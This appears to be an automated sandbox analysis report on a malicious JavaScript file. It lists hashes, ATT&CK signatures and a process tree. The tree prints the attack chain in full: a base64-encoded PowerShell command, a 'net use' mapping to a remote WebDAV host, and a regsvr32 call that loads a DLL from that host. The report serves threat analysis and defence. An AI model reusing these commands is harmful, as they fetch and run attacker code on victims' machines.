Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    21-08-2024 15:21

General

  • Target

    36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js

  • Size

    13KB

  • MD5

    e83d664a636e02032bc38a6ad7d9fa66

  • SHA1

    efdb7f6cd6a4f14ea2dbf20652ce7a3a9de48059

  • SHA256

    36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1

  • SHA512

    f1a1e5a3e0c8249580a4c230461474f2a996b6fc9d532a6112009fd08ad6e7cd43b6fc682124a0a5742b393e3f5bd564a430ce4eac6a1e4a919573033a4c43b8

  • SSDEEP

    384:ymSITd1N6CFkOJkV6zgdZCfsjZm/UlhlHgsJ1mY9JEBgT:y2FNE3T

Malware Config

Signatures

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\36f426d73a21fafbb38c0250e327cefcad979cc07f33fa3c93410ccff3f839f1.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADkANwAzADMAMQAzADIANwA0ADIAOQA5ADQAOQAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2768
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\297331327429949.dll
          3⤵
            PID:2624

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2096-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

        Filesize

        4KB

      • memory/2096-5-0x000000001B650000-0x000000001B932000-memory.dmp

        Filesize

        2.9MB

      • memory/2096-6-0x0000000001D20000-0x0000000001D28000-memory.dmp

        Filesize

        32KB

      • memory/2096-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB

      • memory/2096-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB

      • memory/2096-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB

      • memory/2096-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB

      • memory/2096-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB

      • memory/2096-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

        Filesize

        9.6MB